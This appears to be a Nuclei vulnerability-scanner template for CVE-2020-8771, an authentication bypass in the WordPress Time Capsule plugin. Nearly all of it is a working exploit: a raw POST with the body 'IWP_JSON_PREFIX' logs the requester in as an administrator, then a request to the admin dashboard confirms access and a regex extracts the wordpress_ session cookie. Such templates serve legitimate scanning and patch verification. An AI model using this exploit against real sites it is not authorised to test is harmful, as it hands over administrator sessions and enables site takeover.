id: CVE-2020-8771

info:
  name: WordPress Time Capsule < 1.21.16 - Authentication Bypass
  author: princechaddha
  severity: critical
  description: "WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts."
  reference:
    - https://github.com/SECFORCE/WPTimeCapsulePOC
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8771
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8771
    cwe-id: CWE-287
  tags: cve,cve2020,wordpress,wp-plugin

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*

        IWP_JSON_PREFIX

      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Accept: */*

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<div id="adminmenumain" role="navigation" aria-label="Main menu">'
          - "<h1>Dashboard</h1>"
        part: body
        condition: and

      - type: word
        words:
          - 'text/html'
        part: header

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        regex:
          - "wordpress_[a-z0-9]+=([A-Za-z0-9%]+)"

# Enhanced by mp on 2022/04/29